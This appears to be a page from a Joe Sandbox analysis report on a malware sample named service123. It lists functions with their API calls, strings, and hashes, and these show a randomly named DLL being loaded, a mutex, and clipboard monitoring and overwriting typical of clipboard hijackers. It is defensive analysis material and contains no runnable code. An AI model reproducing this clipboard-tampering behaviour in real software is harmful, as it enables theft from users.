Opcode Fuzzy Hash: b816ee3409cc69514d52f2b69e1d8a0a16b95d13025c7c261ef88b92249bb939
Instruction Fuzzy Hash: 7F31EF7292D7009FDB10EF76ED4956FBFE4EB85342F004928E85593240EA35D509DB86

Function 00958230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 62
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0095138E,?,?,00006EA2,0095138E), ref: 00958271
GetProcAddress.KERNEL32 ref: 0095828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0095138E,?,?,00006EA2,0095138E), ref: 0095829D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0095138E,?,?,00006EA2,0095138E), ref: 009582BD
GetLastError.KERNEL32 ref: 009582DA
FreeLibrary.KERNEL32 ref: 009582F3

Strings

Failed to load DLL. Error code: %d, xrefs: 009582C3
NKUGaMdqDCBMAQCywoWm, xrefs: 0095827E
ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 0095824A

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: Failed to load DLL. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 1397630947-2919006163
Opcode ID: ad776505fbed8d0e85adf114b221f1a226ed9b61f575395fd8fb9515605864f0
Instruction ID: f8262d498831d81128e355caaa2f86b499ee6c83709a6328ef901642e2edfa62
Opcode Fuzzy Hash: ad776505fbed8d0e85adf114b221f1a226ed9b61f575395fd8fb9515605864f0
Instruction Fuzzy Hash: 6511D072928B009BD710EFB6DD4659FBFE4AB45342F008A28DC2593181EB7696099B82

Function 009513C9 Relevance: 12.1, APIs: 8, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00951238
__p__acmdln.MSVCRT ref: 00951261
malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344
_amsg_exit.MSVCRT ref: 009513EA
_initterm.MSVCRT ref: 0095140C

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: a714e0cad8baa4f5d1bba397a5cff3967f00fb7a08783aa8dd8f6626b8982154
Instruction ID: 25debe2cd32221184bb80a5520e58b6e86443d1639a7c316519dc0eb58302ccf
Opcode Fuzzy Hash: a714e0cad8baa4f5d1bba397a5cff3967f00fb7a08783aa8dd8f6626b8982154
Instruction Fuzzy Hash: B84116B09193018FDB20EF76E89435EBBE4BB85302F10492DDD85973A1DB74A94ADB42

Function 009511A3 Relevance: 10.6, APIs: 7, Instructions: 115
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 009511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00951238
__p__acmdln.MSVCRT ref: 00951261
malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344
_amsg_exit.MSVCRT ref: 009513EA
_initterm.MSVCRT ref: 0095140C

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: b52c19d91ae0c9474caf0159a1763059cc9c43e627475db44b564f942e786a52
Instruction ID: 5eb86c9ba568bf86417b7b720f7fdcda5027c38229f7376fdebc2982c12790eb
Opcode Fuzzy Hash: b52c19d91ae0c9474caf0159a1763059cc9c43e627475db44b564f942e786a52
Instruction Fuzzy Hash: 62412AB0A193018FDB20EF76E89475EBBF4BB85342F00452DDC85973A0DB74994ADB92

Function 00951160 Relevance: 9.1, APIs: 6, Instructions: 131
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 009511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00951238
__p__acmdln.MSVCRT ref: 00951261
malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344
GetStartupInfoA.KERNEL32 ref: 00951433

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: bed54ea2a54db95613ac9e5ca456e538fdf23b6b54adb768227232023d3de927
Instruction ID: ddb92662e1a78221ba21004d5d76ff6cce938cdd2a6e609ef04a6a26983f4e55
Opcode Fuzzy Hash: bed54ea2a54db95613ac9e5ca456e538fdf23b6b54adb768227232023d3de927
Instruction Fuzzy Hash: 7B513B719193008FDB20DFB6E89075ABBF4BB89342F10452DDD459B3A0D774A949DB81

Function 6C7B9B70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6C7B9B99
CreateMutexA.KERNELBASE ref: 6C7B9BE3
Sleep.KERNELBASE ref: 6C7B9BFF
GetClipboardSequenceNumber.USER32 ref: 6C7B9C08

Strings

uwwcACVDotPKkwKQKpzK, xrefs: 6C7B9B82, 6C7B9BCC

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: uwwcACVDotPKkwKQKpzK
API String ID: 3689039344-827300870
Opcode ID: b5e91102cc3f5ce4bef72760bade7f1129fc66141aa2cc53ec14195e98268e62
Instruction ID: 1fdbe644adf8c93a3a756515dfd0809a11dde6ff744ac673d7f52c3c80b755e0
Opcode Fuzzy Hash: b5e91102cc3f5ce4bef72760bade7f1129fc66141aa2cc53ec14195e98268e62
Instruction Fuzzy Hash: 9701D2715083068FCB20EF69C64975BBFF4AB51348F01882CE8A893640E774A149CBE2

Function 00951296 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: c4222bbe289709ae320c701f0dd2f9f6da56740368ff65de620b953bc17786b2
Instruction ID: 38a69719e3799c4b41fe91911aa7eecdb827d3894844d8458f3f25d8d6334bd4
Opcode Fuzzy Hash: c4222bbe289709ae320c701f0dd2f9f6da56740368ff65de620b953bc17786b2
Instruction Fuzzy Hash: 433134B59093158FCB20DF66D88039ABBF1FB89302F00892ED949A7351D731A94ADF81

Function 009513BB Relevance: 5.1, APIs: 4, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 1e40e64ebd01eb2182347c6f13e50e69a014411a135ad44c2b82648a8403486e
Instruction ID: 8efba11db99002d7e03a97ae9190a68b747593f59a75211e16481284bad16381
Opcode Fuzzy Hash: 1e40e64ebd01eb2182347c6f13e50e69a014411a135ad44c2b82648a8403486e
Instruction Fuzzy Hash: CA21F5B59097018FCB24DF66D88069EB7F1BB89302F11892ED945A7360D730A94ADF81

Function 6C7BB3F0 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508cdbe36d20ee51d8edd5e82954d352fc74cef1e68865dade4106b53526d536
Instruction ID: 20d92999348d094ca9c4180e1425884d54685d47821f92e472f22f577a6eca26
Opcode Fuzzy Hash: 508cdbe36d20ee51d8edd5e82954d352fc74cef1e68865dade4106b53526d536
Instruction Fuzzy Hash: 10512AB5A053168FC720DF19D28855EFBF0FF85318B54496AD858ABB11F330E859CBA2

Function 6C7BB560 Relevance: 1.3, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ec000e9fdbf03914cf9772c34b6bc1d47d03a4c4076c80f0a52b138849faa8
Instruction ID: 3c5acfbbe7f1108f69c66fdbe132e69c54cee4e1e5a2b2099d858419cb8397c6
Opcode Fuzzy Hash: 52ec000e9fdbf03914cf9772c34b6bc1d47d03a4c4076c80f0a52b138849faa8
Instruction Fuzzy Hash: 58319EB17053018FDB209F69C7C864A7BB5BF86308B984679D914ABB55F730E409CBB2

Non-executed Functions

Function 6C7ACD00 Relevance: 33.4, APIs: 22, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7ACD7D

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 66045c855d0da31032b016c8bbad95a447e6cd8abb4bb5f01b811b7487eee886
Instruction ID: 1e201aa3bc65634b65eb7f143fdf620770322e982ffbd2bd37b8325f2d616ba9
Opcode Fuzzy Hash: 66045c855d0da31032b016c8bbad95a447e6cd8abb4bb5f01b811b7487eee886
Instruction Fuzzy Hash: A50224715087519FD700CF69C144396FBE2AF86318F0D87AED8E85BB91C376A90ACB85

Function 6C7B0FC0 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1647stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C7B0FCA
strlen.MSVCRT ref: 6C7B0FD4

Strings

!, xrefs: 6C7B2C08
, xrefs: 6C7B240F
5, xrefs: 6C7B14D2
inity, xrefs: 6C7B1E21

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 053c07496d3c9a398f26ca14e79e1ad35add1dab2786adc0f23f2371465c314b
Instruction ID: a244af01d6ec3b1965c88b5f477e2b2857e115dd8e589bfe36f32514961753a2
Opcode Fuzzy Hash: 053c07496d3c9a398f26ca14e79e1ad35add1dab2786adc0f23f2371465c314b
Instruction Fuzzy Hash: DCF24875A097818FD720CF29C68879BBBE0BF89348F11892DE9D9A7750D774E844CB42

Function 6C8284D0 Relevance: 17.7, Strings: 14, Instructions: 166COMMON

Download Yara Rule

Strings

Auth, xrefs: 6C82854F
default, xrefs: 6C8284EF
hardware, xrefs: 6C8286A0
rand_s, xrefs: 6C8286B7
Auth, xrefs: 6C828676
Genu, xrefs: 6C8285DF
rdseed, xrefs: 6C828518
rdrnd, xrefs: 6C828618
random_device::random_device(const std::string&): device not available, xrefs: 6C828598
rdrand, xrefs: 6C8285A8
Genu, xrefs: 6C828557
random_device::random_device(const std::string&): unsupported token, xrefs: 6C8286D2
Genu, xrefs: 6C82866E
Auth, xrefs: 6C8285E7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Auth$Genu$Genu$Genu$default$hardware$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-1359127009
Opcode ID: 1659a6d786150397bc1ea8524727d2ecb147ff605d968ac818c99f7ce58e6283
Instruction ID: cacbfed103f433b91d821e902f66e5ee2c26a82d6c70f03037aeb0235636aef0
Opcode Fuzzy Hash: 1659a6d786150397bc1ea8524727d2ecb147ff605d968ac818c99f7ce58e6283
Instruction Fuzzy Hash: EC41D7F36192424BE7206B38C78A35A76A5AB4031CF604D3ED88297F51D73DD598C393

Function 6C7AEE50 Relevance: 12.5, APIs: 8, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7AF18B
malloc.MSVCRT ref: 6C7AF1A8

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: b7715744ee2a7922d519e497e21ea9748bc2dedb45f536f3bbd2661e82aece76
Instruction ID: d6bdb3fe8e6a8d6dfd2cf82907b1a9c952a833a7f6955b4e16fed1675ed9e3fe
Opcode Fuzzy Hash: b7715744ee2a7922d519e497e21ea9748bc2dedb45f536f3bbd2661e82aece76
Instruction Fuzzy Hash: C8127E756087068FC314CF59C68065AB7E1BFC8358F558B2DE8A997B41E730ED0ACB92

Function 6C7CE6E0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CE70A
strlen.MSVCRT ref: 6C7CE77A

Strings

basic_string: construction from null is not valid, xrefs: 6C7CE742, 6C7CE7B2, 6C7CE822
basic_string: construction from null is not valid, xrefs: 6C7CE86F, 6C7CE8C0, 6C7CE910

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: d7500c2516e6cd6c94cb0095c501d6d90627f0e858e4d8233082dc6d2c8066c6
Instruction ID: 2d0183d3c9e0ad4ad9cd6476692633a0b8bdf2c8e315e6f9ea5e8ccba9e494c7
Opcode Fuzzy Hash: d7500c2516e6cd6c94cb0095c501d6d90627f0e858e4d8233082dc6d2c8066c6
Instruction Fuzzy Hash: 6A61AFF1A066148FCB10AF2CD68585ABBF4BF54218F46497DE8849B710E331E899CBD2

Function 6C7B9D11 Relevance: 12.0, APIs: 8, Instructions: 46clipboardmemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8439D0: strlen.MSVCRT ref: 6C8439DE

OpenClipboard.USER32 ref: 6C7B9D31
GlobalAlloc.KERNEL32 ref: 6C7B9D55
GlobalLock.KERNEL32 ref: 6C7B9D72
strcpy.MSVCRT ref: 6C7B9D82
GlobalUnlock.KERNEL32 ref: 6C7B9D8A
EmptyClipboard.USER32 ref: 6C7B9D93
SetClipboardData.USER32 ref: 6C7B9DA4
CloseClipboard.USER32 ref: 6C7B9DAD

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockstrcpystrlen
String ID:
API String ID: 3344633682-0
Opcode ID: 1622449344630ec5769e1254500832160821bc2201585ee2fdbab5236fd67c19
Instruction ID: 198307c60845abbeb5a382844863cf73291777f2079d5d64ea3a3e9f5bece4f8
Opcode Fuzzy Hash: 1622449344630ec5769e1254500832160821bc2201585ee2fdbab5236fd67c19
Instruction Fuzzy Hash: 0411DDB15046058FDB10BF78D68D29EBAF0BF65309F01497CE5A693644EB34E908CB93

Function 6C7C0860 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7C0886
memcmp.MSVCRT ref: 6C7C08A9
memcmp.MSVCRT ref: 6C7C091F
memcmp.MSVCRT ref: 6C7C0991

Part of subcall function 6C86ADB0: strlen.MSVCRT ref: 6C86ADBE

memcmp.MSVCRT ref: 6C7C0A25

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7C08D0, 6C7C0944, 6C7C09B7, 6C7C0A4C, 6C7C0A68
basic_string::compare, xrefs: 6C7C08C8, 6C7C093C, 6C7C09AF, 6C7C0A44, 6C7C0A60

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: fee9748c66d86c1ca2bdb1d3104df722f0b74b56402d7ad38df3c1174884ad6c
Instruction ID: e84303398145aa43cac4c57974d30f372a0cbab499ea55fa93ce7a702a9d4aeb
Opcode Fuzzy Hash: fee9748c66d86c1ca2bdb1d3104df722f0b74b56402d7ad38df3c1174884ad6c
Instruction Fuzzy Hash: 226137B27093119FC314AF6ACA8455EFBE5AFD8788F55892DE88887710E731D844CB93

Function 6C7B70C0 Relevance: 9.6, APIs: 6, Instructions: 649COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C7B70C7
memset.MSVCRT ref: 6C7B7217

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 2d0189af128b0c91ed926a27be76edce3bd5ce4b8d543a141ba12d1a8903970b
Instruction ID: 4e75de4a0ab98c69311be5e49d47111f73b22a432293f1b9062973e2e6c8874a
Opcode Fuzzy Hash: 2d0189af128b0c91ed926a27be76edce3bd5ce4b8d543a141ba12d1a8903970b
